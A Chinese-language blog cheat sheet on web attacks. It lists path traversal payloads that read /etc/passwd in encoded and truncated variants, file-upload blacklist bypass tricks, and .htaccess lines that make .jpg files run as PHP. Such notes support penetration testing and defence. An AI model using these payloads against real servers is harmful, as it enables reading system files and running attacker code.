【文件上传】文件上传总结

目录遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 相对路径遍历
https://insecure-website.com/loadImage?filename=../../../etc/passwd

# 绝对路径遍历
https://insecure-website.com/loadImage?filename=/etc/passwd

# 嵌套遍历
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd

# URL编码遍历
# 单层相对
filename=%2e%2e%2fetc%2fpasswd
# 双层相对
filename=%252e%252e%252fetc%2fpasswd
# 双层相对
filename=.%%32%65/.%%32%65/.%%32%65/etc/passwd
# 从预期基本文件夹开始
filename=/var/www/images/...%2f...%2f...%2fetc/passwd
# 空字节截断
filename=.../.../.../etc/passwd%00.png

Windows文件上传绕过

  • 黑名单绕过:

    • 大小写

    • 不常见脚本的后缀

    • 末尾加点(限Windows)

    • 末尾加 ::$DATA 字符串(限Windows)

    • 加空格(限Windows)

    • 双写

    • GET和POST %00 截断

    • 配置文件修改 .htaccess

      1
      2
      3
      4
      5
      AddHandler php5-script .jpg

      AddType application/x-httpd-php .jpg

      Sethandler application/x-httpd-php

入门

前端限制后缀

后端验证content-type

图片添加php语句,直接使用添加了php语句的图片,拦截包后修改,直接传,比较方便。能直接绕过前端。

进阶

-------------本文结束感谢阅读-------------
创作不易,您的支持将鼓励我继续创作!